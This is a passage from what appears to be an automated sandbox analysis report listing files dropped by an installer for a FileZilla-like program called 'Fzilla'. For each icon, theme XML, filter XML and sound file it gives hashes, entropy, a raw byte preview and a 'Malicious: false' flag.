Preview:	.PNG........IHDR...0...0.....W......AIDATx..._..u...o..{..0E-..1.d...A.J5S.L...X,..Z..n.rZ..U.m1&$....EFd...S(Z.h.i.y..x..9c...8......~....'.x.q;.\|7f.\|-..y9(......JhD...\.F.F..8\|..P!i.Y.B.....FN......$D.\.....{.Y7X.......cQ.>.DH.u......e.P!Bj,.<(g._.....g..k.Q..4...:.%&..+,J.=.r..W....._A...Q.B.....m........N...Oi.x>.7.E?O.....B.'..<.G. ]Z._.....T..NT.zr....6!`..B.;.g0P..;..PT.Cq]6?e....55..(92i.)WR.H...K...}vx...{3.....T6'&$C.....\(.K..tI...B....Ak..\|......^[.}&z.hx,.z.xV+w.Pb. ,...s3.g..&..qih"..r....;T....g.A........f......7N...o.O.h.)..g.T...X'.U.&\...^...<d\.n[.x.........P.^m...L...K->..?d/.m...=,...}%$..f..i....fF.....h.S..f....O$.W.....s>'.\.....B.l+My.4K+..B'.'........T.77R.R.\|.~.....??a/dT..0t5.m\O5...... ,q..\:..F.a.n...2. ..x.}l.i.)..yeW.....;.Jha.W..&.[x}'.Y...G..N....t2jG=[8i..58.o...a.....#..pvp.H..'...7ej%."J.[.3q..f.s)o3..k.r.=.+P d..bML.eN......:..L.&...j...B..HW.H.m.....M..P...ktAuya...E_O..vbl,.t..B...l.......P,Kd.>..

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	412
Entropy (8bit):	7.233612107216541
Encrypted:	false
SSDEEP:	12:6v/7+0T39vD7StAPw7Z321IZyIlB4dcSNw5kl1r:1C9CtiQi4R4dcOll
MD5:	2EAEFBF6063C014EB0D0CB55DF1F41EC
SHA1:	B2C5571D1BF55786D46C66AF9ED75E0571DB141A
SHA-256:	E52164809B22B8F85F61870873805A7227A4CDDB276987AABB0826361F3A1890
SHA-512:	086A3898C9F0C6D64400DEA3CEB9CA40879EBB71FB9563F253BA56845289EF34AD86A73755C5174ED1D483501C8ECEE27AC2820FB73EFD487C924E5C8FDBE2E6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......cIDATx.b...v.;.8....^.z.[.f.:N.T...^C.F]P.6...c......I.s.XE%:.k.....Z.?..f,....L..A<.3C......\.+$..F,....2#....A......P.. ...G.......H.djQ..$.r.Y. . >tb..... ~<..../.q.....,...."I...-..v.y....`..-.....;........p.....T.~>..h(.,.oE.^_d{.o..}...=.&..zF..!j.&..z....}.....8..cWEEEEEE%.o.4.b....A?b..P.-.N..b...HR..]<`....(.:.....!!..?Q...h...x...&O.f%}K.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	711
Entropy (8bit):	7.598337758675123
Encrypted:	false
SSDEEP:	12:6v/7jDTLvH0p981VctgopAm4oyRmOSrzESBWKCbFnu73GmS9Fa3/Pt2j7coev:+D3vUU1o1pAmu/Sr7srbJwGEXt6cdv
MD5:	A7B6F04ECA627B530E7FB354C5892900
SHA1:	D81FEF27E29A08260699E7CA7E34E9407E2E1689
SHA-256:	DACB68CF141608836A1941CA7A600CA5A2D9A532FDC2D5BA93288E5B5AF6CE5F
SHA-512:	44CCB872235530F8533372062663C55F28E3770ED8EE2A3EFC113200F65CAC5220A245D1DDB3D304D1B4A0769E389D9E7003CC1C17F6E1F8360600453B2116BC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....l]q.....V..m.Q.6.y.f.m..N..t.......}.GI.y.N]..V....._.nR.d.U.B(eR.L.....R.@......%-..........-........-6....K..&.......+hf1.<.^..........\......%.!.n...I.u.^S m..3..=....l.N.e..%....@..........^....`..4.8@.........x....=.....P...J.k......x....x.....v.....5.2.nF......\|A....._......A....IP.n..........c..w@..&..@....D.L..BD......x.1......5...m...A.;"jK.d.s{....M...y....8......{TB...K.7..#...T>..w..#.)s.....V.. ...c.....R1.'..zL.e... ...a.=F.g..As3.$..1w.H.QS.2..i...#.~.g*b.w.lM.....x...cI.=.(.."<......%.....0....lhk..<R..'.. `.5.@...........F.H...F..{.!/.../...S.N.:u.oE.fF...hD0'}.j.............eR..dR.$._.T...R=.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\is-SRFRH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.003789070423829
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKwGx5aQmn1pjgLDR5/oHUTUZBOHrSCOHWXdQUGOH1QIKe:TMHdtAgCmjjoDR5gHKABOH9OHW+LOH1R
MD5:	C9272D5C5355EBEBA772ABE9504EFF43
SHA1:	3F621D3043D405D7BEA746E99E76096836367292
SHA-256:	41DDF7E633A3A56547933E7B58D4745BBBEA280261577358A54758B7A85E7013
SHA-512:	CBF9A9A22D1FABC8D1C1B1A147AB99A167B9E115BCB387B880621A95A32485667F5CE5C437B85A28874CFAB19748EC26CC30ABA18DD489582B3D2F23FC2A5DBA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>FlatZilla</Name><Author>Boaz Lederer</Author><Mail>aniboaz@gmail.com</Mail><size primary="1">16x16</size><size primary="1">24x24</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\flatzilla\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.003789070423829
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKwGx5aQmn1pjgLDR5/oHUTUZBOHrSCOHWXdQUGOH1QIKe:TMHdtAgCmjjoDR5gHKABOH9OHW+LOH1R
MD5:	C9272D5C5355EBEBA772ABE9504EFF43
SHA1:	3F621D3043D405D7BEA746E99E76096836367292
SHA-256:	41DDF7E633A3A56547933E7B58D4745BBBEA280261577358A54758B7A85E7013
SHA-512:	CBF9A9A22D1FABC8D1C1B1A147AB99A167B9E115BCB387B880621A95A32485667F5CE5C437B85A28874CFAB19748EC26CC30ABA18DD489582B3D2F23FC2A5DBA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>FlatZilla</Name><Author>Boaz Lederer</Author><Mail>aniboaz@gmail.com</Mail><size primary="1">16x16</size><size primary="1">24x24</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\is-1HTB0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text, with very long lines (2451)
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	4.747682783202365
Encrypted:	false
SSDEEP:	48:cWb3FaIsL8PmXbE50m2bRkgbpEbz4XfZe3e3e3e3eiM:pb3UIAbZbFb6bgM
MD5:	9994A10E6EE72A5AFD26CBB582E946E8
SHA1:	C4B507E64A476A260974C17F2E13E6C41EF19CB9
SHA-256:	27B4C87E3F1A75CE58CCE51086D8445E3C33590111A258BE8344B842F74C05D0
SHA-512:	776EF79C8E72695D3A142438F441A85BB5043D584F6DD5216D4D8E7357DFE19871F775059212D3C7DD2D8679463056222224A27EE7D544BEADB1A2A921A27EC5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>. . These filters are used by default if filter.xml doesn't exist in the user's. settings directory..-->.<FileZilla3><Filters><Filter><Name>Source control directories</Name><ApplyToFiles>0</ApplyToFiles><ApplyToDirs>1</ApplyToDirs><MatchType>Any</MatchType><MatchCase>1</MatchCase><Conditions><Condition><Type>0</Type><Condition>1</Condition><Value>CVS</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.svn</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.git</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.hg</Value></Condition><Condition><Type>0</Type><Condition>1</Condition><Value>.bzr</Value></Condition></Conditions></Filter><Filter><Name>Useless Explorer files</Name><ApplyToFiles>1</ApplyToFiles><ApplyToDirs>0</ApplyToDirs><MatchType>Any</MatchType><MatchCase>1</MatchCase><Conditions><Condition><Type>0</Type><Condition>1</Condition><Value>Thumbs.d

C:\Program Files (x86)\Fzilla\resources\is-PVGTF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
Category:	dropped
Size (bytes):	81088
Entropy (8bit):	6.4967751447299955
Encrypted:	false
SSDEEP:	1536:G7qQLiPKin38KlwXXUDlbAiuVdUqXk1XWL/MAtfCG6gxw7vQWiVlb+a0S8bjzK/:GkKi/7NAR7nWEEAdj27I576BJ4
MD5:	B495C090044C169829C4DBAC2FB97130
SHA1:	DDA3270B95DE7B77A9FB753C74CC0498CF02FA3E
SHA-256:	E98EBD6282CDBBD74B316F075971D61032FE8DED0A7EBA7F4F826877E16C9D43
SHA-512:	BBFD48F4E36AFCBC82C254AD291B6AC850CD176710D7637774DCE508DDA161A0474C809A25CDC551A5B5AAFC4822D68385A0A70B48C85F9F3074175315696B57
Malicious:	false
Preview:	RIFF.<..WAVEfmt ........D....X......data.<............{.q.q.x.......,.^...........\|.a.F.K.N.5.......}.p.......+.G.o.q.P.&...........E.....1...$.Z...".y...........\.P.T.W.m.w.".z...~.x.....!.......7.u...u.....[.........................l.P.x.....;.......N.m.9..........z.....s.............w._.......9.l.........N.p.....`.....x...].................M.....8...\.n._.......=...).F...).8...'.........a........... .......-.........i...Z............a...w...1.........t.....$.......b.........B...0.o.u.o...[.....J.p.............e...7.w.>.........s...P.....K.....`.c.a.E.o.{.......5...........}.....{.........~.R.........;.....o.....q.7.>.#.8...-.................../...T.<...;.".......-...;.....@.....#.......$...v...m.<.`.H.U.k...,.L.........3.......o.....:...A.k.^.....".......e.g.....5...G.....9.....9...../.I...w.{._.....O...H...G.............................+.Z...P.......o.O.....Y...4.:...f.......L.....E...O.......z...j.t...:...................s.......A...".m.......................d.....".a.....[.....

C:\Program Files (x86)\Fzilla\resources\lone\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	687
Entropy (8bit):	7.5885005883581265
Encrypted:	false
SSDEEP:	12:6v/7BfnB5gR7tJwTtKUHxqETo6lONJtneaD83Iv4SRIcW4zCFyYJ3ehYWTCW+uxU:wnB5gVcKUHxqEo6lOLtney84lI3tcYJJ
MD5:	287F785D92FC38D925220CF93943C56F
SHA1:	DD0131291A3C2ACE0FCC430FB0B04110FBE3982D
SHA-256:	9192D0A199BCAE8B1B6DFEF50DB7B42EF7130EE150C7BD14D95F9D7BACA3196D
SHA-512:	54E5B821392ADA43E30F773AE12F1B4F41DACA2BA627A8AFA10F748B316B2A03674404D0AC480A39891D6679A472BE5B1C3EB33FE97463FAD879D6CF7D2FCC2A
Malicious:	false
Preview:	.PNG........IHDR................a...vIDATx.b...2eJ.]..d..leA...$/.k.1...:j.u..m.n..u....6n.l.;...$.s.....2RTTD....o.L&#........\.............E....p.i..`.X`6.a2..R.0??.[.n=...!..`...+..FPEv^\\.........P....e....7...={....i........<.....Y.e.....r9D"....f=......~..e..o`...Wm............k........_.........Htl...V//...2..`zz.4.HMMe.....mFx..B.<.\.7.v..K..KlYt....0Uy@.....:......vwww...Cc....7brbV..E.q9...;.......{0).......z............XQ..F.....O.I........3g...g..^...q,...jV........@{{{....7o.u.4.....<.....R....2.b......yj..YU(.......h>...{.y..w....._.........lmm.5.z.B...9.Z............~.._....*.SB..t...?V.......o...+c2.1?......K......+..............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.597373393891944
Encrypted:	false
SSDEEP:	12:6v/7IHjWIWbPKBf8yBOmhAPpzxGgebManVOOUkO3vX86+EmUg/AcjhjzpKhkc:iIWbPKB5/IplGlbMat0/867gbZpK/
MD5:	9821B72CFBC8649456B8D52EC5F2E171
SHA1:	C01842EA147CA851B99E02DEFF6A9FA7C3213400
SHA-256:	4B9B3AA0D63BABCB0F9075194EECAB18FEE5D2D852E62A96720627AA3A5A27A8
SHA-512:	A87B2C4F9AC42D73EC4FA908EA47F2F657230D5A200455EF223E6BBCC5C3C487D2E2BF17E9239C8657B0CE2E2674BBD0567BB06457557A59503586B59B5060EF
Malicious:	false
Preview:	.PNG........IHDR................a...gIDATx..R.leA.=..m;..m{..nTE.....o..y....."s=._...........X,f.......u...B.L&....1iii)...].v.M...`..R,..$f..494........@...y.W..&.J...w.D",\..Z....L.b...C..J&..Xpoo/...Q__.w......\|.}0.........M.g.U.>~..Zwrr.L..V4..1.{.yT.,ww.....9r.....a.t'X.l.... ..a..p..I....S.S....d.J..j...B.yy..^Ox.t:&... Tz.q.t!3rf...w......v.lF#.H.....m...D"AYY.........8.4. .1......o{R...%.QRT.Q..@..}Kr.....IDD.INN&QQQ...$!9....$..3B.-Q.n.u.'.(.hknf>GGGxzz.......f..w...B..QKd.jl..d...e..<&.E...;w.D......B.../...I[[.ioogr,;;;..........I.L.....A.B......-..o.q#...E....}....7.2.2.2.2.2...../....0.D.N.^....M..:.....V.h..h....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	697
Entropy (8bit):	7.658609320999023
Encrypted:	false
SSDEEP:	12:6v/7kC0a3cB8hU7qg6nYhL4jFSAB8Wh0GYvEVyfDXcN34nsdmDDpB0yFYVXtsRlE:3CL3aUWq1nko9BAssCiDIJmlE
MD5:	CF888FDEE136C738F6CE18309F589CD4
SHA1:	A4D804FBDD2F045FDF8DF2314CC01DEAC9C734A5
SHA-256:	13A8E8208D5936FF030683184B85C1BE3EB66DBDE32137CCA44140F7FB9E5730
SHA-512:	957A771BE969BCE3DD129C57FE2A09C29919B605A162368309830AF80700A6296B4C1A172DB44F1203B51F7DE5567B742B7637D912D6D7D2F97D5DBCDBFD08D9
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..S..\k.=cw.m....U.qR.U.mT.A.6...m.w.._.......x.>.".3g..1..Q..EQ .2..0$I.5#......7n.....t.._\|...A.@.N.c#.=$.......D}}...>2`4...>$''..t........b.....h.Z..A.o.~g.l..H....X.v.....qdd../.n.#.. "...&.WU...b..5.'..K.."+...Q.S..?(\|d.....e...y....<......J...........&.t.e..&........a.P......a........c.B.V..g.....[........-...G...Z..3k../....=....o.a.P..q....I.!..T..8]g~n.UET......[RN..[....z..O)0j.Z....\|.y..=.....>.~.2i....../LM...BCC...I.&!33._~.%b~.AnN.GEd.lhP...&...Z....0.)..>X+.G.QY_..0@.W.t...P(....Gu.F..).V*,.s....A\|\|....<R..H.X..6R[..SRR..?.... .s)\.=....h..!......!d..\.a.".!Z.F......q..?.+._<.;..<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.553412470683321
Encrypted:	false
SSDEEP:	12:6v/7wnj5wjF7cO4UxVJmmHITBJ+zjR0v08xKrrRFdk/NfbobHRz:8//1NqjxwneboVz
MD5:	90CDE1FE0183BB1D909A41AC064E0DDA
SHA1:	BD9C9FFB645586B94B4186741ED1EBAE2DC79BBC
SHA-256:	F81288BAB5D29831ADCF320E0E14E8B07B4933F0CC9B7BC4D46869B8590E90E5
SHA-512:	9B3ADCEDCB2735CDB9A83050F2F75EF4D4B525EA82827A7062D853095D15885017A629B8C9CDD20F93F88A4D194D99A657C5F45E88FA069A6CA5A6BB3135F102
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....x.a..g.W.m..~.m.m.....mj.o<.;J....I....:.r.s.7...J..x.....K..?,.S...^.(..}:..r...c..K$p....x5..JA...?..\.9..YU....aH...pq.(.P]..g.Z7.&-j.=OV.\|M..:.C..x..{.k..=.mC.x...+%b...@..5..>...y..B....;.I.<T.(#.Ui..w @.V.XT.y...!..I...C.p.....Wn..QO2.[..."...U?Z#.."....$...yP.t..^.......\|R.W=.E...x..nT.w...D..+.=ra.....P&.F.s<K......m..a7...Q.....erR!.2~..I.#...a..NV.y...)........nU. /..;.I.-.......bl.9"w..U.j...Lh..;K.P.hb..F@..o.jl{........0.f\y..NC6..hPQ.5..H....W.....2........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.676013505524438
Encrypted:	false
SSDEEP:	12:6v/7Uq5TRZ6Ri90RHPIA3/e+uTCCc7iHg2jVrBNbzt9XBQ4gdYFKvJgWF/:7QTl90RHPIAP8OqHg2jJBNbZ9K5LvdZ
MD5:	5785882A04AB6AE21D14ECED3DDADD93
SHA1:	1EC433D5DF1DBFB414872601A583C326896D0A05
SHA-256:	1FC3A4B0A09BDB3020765091D18EE7877952527E9912E9879D22D2602E88B665
SHA-512:	BA0D4F3F8617EE5D78B28177AB38D62A32ED26A2F8A98221690B5269AE2DCD4985CFBB7F860EFC30CD201A483A91BEB4EDBD9B63A33112B49FCBA64F5164B353
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b....Zlc3m...........,...Lhfb......Iu}H..Mr..#..p..=..m.m.m.m.......o.......=x.!.72`..z....:.X."..T....5...S.bo.`....Z...3f.kW:.,...\|cl.......5.0...81....'O2p.&...O...V...\|.i\|......(..f[.n>..1l.6..9..t&GG.]..\|V...}\|(...y.(\|.p%..?t.q.a..1p.\.H...T.....p__..)x.]..:...}zz.K..,64T....2l.Vz4nL;...wg\T..H.ge11%..S......AJ9cb.<.(......=?...I.....4.I;:...11..g/Z..'@....XY.-........\.o .W....."#.....@).7 ..:w.......g.....D[-,.=+R./..K..$....&M.>}.'N...........]..<diyk+..D.........=;....={.{..q(....@;;>.Z.o....ti.Q.........Od.v.......:.v.3Y.7....R........../y......\9.B.:...D.$F...nR..58...X..E..w.\|..0.vR...T._.......K........t......4.\(b.4..(}........2...`...^v.F.LM....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	971
Entropy (8bit):	7.735971365790046
Encrypted:	false
SSDEEP:	24:LPzwe9lSdt2KEYEuNBVpDghxSprm8YTGD1qeZrA1:LpwtxEL4g7SZm8YQRRA1
MD5:	6A719221BFC8F8D1EDB62FB4DE98A36A
SHA1:	BA3A33A7ABD13C73B0B4CA5F129BE9543E56BFD9
SHA-256:	BFA61514A32380296F3C12B861B3A663E1018441A8AA08CF44CEE2E37C296358
SHA-512:	633057EFBBB584E1E8A4184A21763E1270CCD2144EE89D6018B0951AF818A0CE47D536567B4F233C06250D04542B8010F2960C57E1DC533F6F184F233206547C
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.]S..kG..G...H..Y..m.6.j.=x.m.....7..I.~..O....As...&n.p..$p....:o.>}.}....]....}....n.KKG..=w4/+.a......../R..I.y.....%...0p..N'".2(!F[FF.pE.\|..1.....J..q....]........(:~l{.m.o0......1c...b!6....F.(..D.....+..i6.TR.A.E8.. ..T...s.....F.F.. ....b $...f......}..8...(#y..8..._..`...........t.c.I.8/..f../.....iS.\)K.......NYV.D....4.w..Y.SB.5.\r.U.i...n8\|..c..6.v.........~.7...w4..;.C....?t..&.....v.m.......%Xy.99t.).....`.:.K...].yl.Q.....Y.z.i. ....`0..:.F[.k.xJ.-..3.B.G.....4..i.;8."VE...2..IS.L..'.........3.#..\p..J...+.O`.X;.:....m.h.[l..T2......7B.~../..\D...{..j...c..............D..t...{.9;...J...\..ka..l..../y..ab..R.....<...].x...S.y......K...-..!.Y".%;.O=...'.~..MUA..r......]$D.b.Hq..uN.....`....."'.r.9*z..\|>....P(...ua...8..\|.....`.........r.......B..H..~....D.or8..W<...ds..d./..e.0...wikk.o...A.BM.(.z{{.....0.86<.xr.qew./[+..B../..P..T5..7d..}m.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	689
Entropy (8bit):	7.568334207703447
Encrypted:	false
SSDEEP:	12:6v/7ikTplybWAN6eSFan0HwpzcjhTUjG9H5g3YEWK9dybojlJlFnR:4pwHL8KcNTU0aYEP8b0lJlX
MD5:	58AD811474F09FE8D2483282A3A54D6F
SHA1:	1CCD1B7C9E888E691690CB83D7A37C02FAF4DE21
SHA-256:	601B524D57E40080119435A031C0E651A83DFD00B8BC649FC42A488EAB7D60EF
SHA-512:	FD6CFF77FDAF1A9FDEA4E95E942F5D291670A0571E96BAD645D9A8A96767611B1C2E5B89369EB8DFDF88532E2001476480C3EEFCC1F98BFCB014CC1DB59FFB33
Malicious:	false
Preview:	.PNG........IHDR................a...xIDATx..P.`.g........m.m.m..m.m;...>......j3_$..S........6N.F.-.8 ,...%...W?...V....cb..KrW...%.6...$............t....e.Ln.6..}....uA.j ..U.....&%..{. .6M!.ng...._.M.O3...M...0..y....6...P."..<..nw.Wn...W...h...t.Y......S.."...c......;}.N=.<..<l...J..P..93.l.....v.<....d...1..AN._F..=..c....U.U?...a......c.7..M...!E4.;...r..G....V....c....o..e.c..].'..BD7...T.{.CxV...Tr...G...B...w.pI.......o..^B...V..K..]O...A$b......)#.5..-.O..\D..D......s)..n.D8..6+~..H....H$...\Jy..[<C........H...........h@\b,N>..H..va_.\.\|.+...8).7.....2x'.N.. .@....K.<fz#{.....;....go...n.i......... E..;..x.u..^u..I[.$........o....L.j..9....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	510
Entropy (8bit):	7.402919652948329
Encrypted:	false
SSDEEP:	12:6v/7CzEPerTr8fdqS42Vu7b838VFQt4R/vSCs8dglr:tdrCkS4MOC+R/vSCs8d0
MD5:	72577AE251F176D9E27E468B116DDF48
SHA1:	5520C0352F6762BEA8019B735C146403EC933B85
SHA-256:	E9206F2621664DC08A288D7675F3E81C66F608A2913FCA7EB6679BF447E624CC
SHA-512:	BFB89786BC2D66C108694DFE223FA213D7ABA0CC9CEE00515A1774E136A3A14AAC1A982A818815DBA987CEEB4CBCF98F685F0C77E8530086BCFAA4CB7EC6DFD4
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....l]a....^0.q0.f.m.am.{.j......8y.de.{..@p....r.E.........-8...U.Z.^N.3...a`...'n..Z..q..=..k....Sg..4v......~w&...?.1..M.C..............4...Z..S.......H^Y...IM...8(...$..Z.c?.#{..g...G.\...o.IPf.?...6+...$..+.,..t._.a..9.B...H...`].....$..wy.`).......Da...h2..U../4..I...x.u..r...B.Lx. .......#Y.{2.....W...-..Ug...}v..Ul....nnW......\G.r.0.....2+g$..IHH..r.....9....U...SXWB\..(....8..DLT<ENE.N\\"..w.b~\z.%.....H<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.482678631873077
Encrypted:	false
SSDEEP:	12:6v/78TALRh5fwKOwyQ9WnMctP2pm3C8IZQYd1gizm/Skv/VnD:DULHJwXlMcJJYdHm/SQD
MD5:	9BB0652E1B733849DA172C448A6F2026
SHA1:	83FFB9A49A01A4D18B6103CEC9BE015DA1A43245
SHA-256:	AEC9DF3A2FB792A06DF6CADA76F1CBF2946C9FC22514E5052428C88DEC5BB252
SHA-512:	AF3A4C1258D62720EF5CBE041876D1AC6B7D1730B318D71D7EB08D88A198BA6C857C8BD9F30FAB7BA345CA177829D76B30349776DB8F5E63475D21FD515DDC99
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C.[a...m.k.m.m..I.j..N.S..<......m...vV.S.7.N.-.........d.8.v._2.....!......B.xUeg.%...cz.=I.7n.w.;.`s.m..V^^...,.......l....,.{o.=.?.....Iw:..........!hll....(-...A:..Z`G.<.~t...'V.V.fff.6.6.u.5.Ko.P.......+.%.....w..(..;=.=......Gp..v.J/.~-.l.....vB...L.j..}K....3.7...........MB..g..J.E.r.a.L......=O......+....z.I...?..U9...3..n..AI....8....$.4..Ir.B.3x.Y..K0t....C.ay(....G.-.:.x...S....7..J...c2.W./.._{s.9q...<g@.)5)..Z.e..\|.......,_.\|.......[u(......q3..J.Kr.e......[...e*i.u..J.JIK....q...@...v.H....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	281
Entropy (8bit):	6.6932704028197785
Encrypted:	false
SSDEEP:	6:6v/lhPO6fcr6si6Ex1jgWBvzf9P1wAt8cVuQoktPxHfwu6JPjdp:6v/7Pc6spNMLfPZvE+Bdl6J7z
MD5:	33D473D11B06D3E2CDBBA0B46D0E1B74
SHA1:	15F7A9C09306310780745947F5DEEC67D5C5B5FF
SHA-256:	9EC8E5EFEF694B544FC8A7E5F5C9937DFECF56F450A80CA6E6D214C8D2BC9603
SHA-512:	6466013314A7BC4A798C57ADAA68F0824E83B187F97070DDC75528FA206BCB878AEE80FF24895A63F0DF2A2E8485856F4772F33542A9CE89CF6D12936DF1C81A
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDAT(...A..a....._.F..i.7`Q.+..{..8...H.X8..B..3............Y.....O.w....]..R..z.?.3(0.z......i......6...(0..... 4....B.. 4..a..(....[E..hA.......+(... ...K+k..............x(3.D"..<....]...l... V..}g..........!.6~l....X....X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	651
Entropy (8bit):	7.545164075444873
Encrypted:	false
SSDEEP:	12:6v/7lyOFAbk6foxm6ZvnebnnQn6yb5OAI/ED4OrKVXYWU2mtZP9gt6n:4EbzfV6ZvsypD4OrGYWUXz9gtU
MD5:	94BDF8BA8D3EC665025B7F85517E8484
SHA1:	9A10F5A612BFFF81FB257058EA46EADB9FA10BAF
SHA-256:	B461583348EA100C2FFA1FFF1FA6A23961EB313F9CAC1D4D29DCB4B35060CE3E
SHA-512:	8146A0D159334A759BDC29FACEFCF6BA57683C75580F25F56A1B37CC6FEB3C7C21CA1DD3ECB63A266CFAD55C112478CD1EE368CBB1F7F711F939E2DCA3B1208B
Malicious:	false
Preview:	.PNG........IHDR................a...RIDATx.b..0.....6.bAR#......4.....'..{^ ~..K..O..........U..7.G._.... ..8V...iR..X.CJ.Z-.C...[.......I.=..C......X.:..).J8.C.E..yLNN>D.N.m.!@....\|....<..a.,.>K++(.(..!I...........q...........T0..U...I...BTE.u.-..X8...P.{.o{..9.tr.Lfs.u]....C..\|...d.>..."...HaH....@..\|c...`,g..e...~.p+...hD..PH..Q.gd9..8.U9......h~..%..2VH...~.....n.`.=@~.!..z...m\m.h..,...(.Y......'..S....9..B...}..T.\|n....g.\|.LLN..fg...qk<.b...iv...N....0@..A=...i`eiY.....#.t..X.rh_.\|.vd....I...l.8r.T.a....\|.......zP.D.4.........P.I....m.1....Ry..,;.C=......g.0......sssg.X#..8@.`&s...K........28h......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
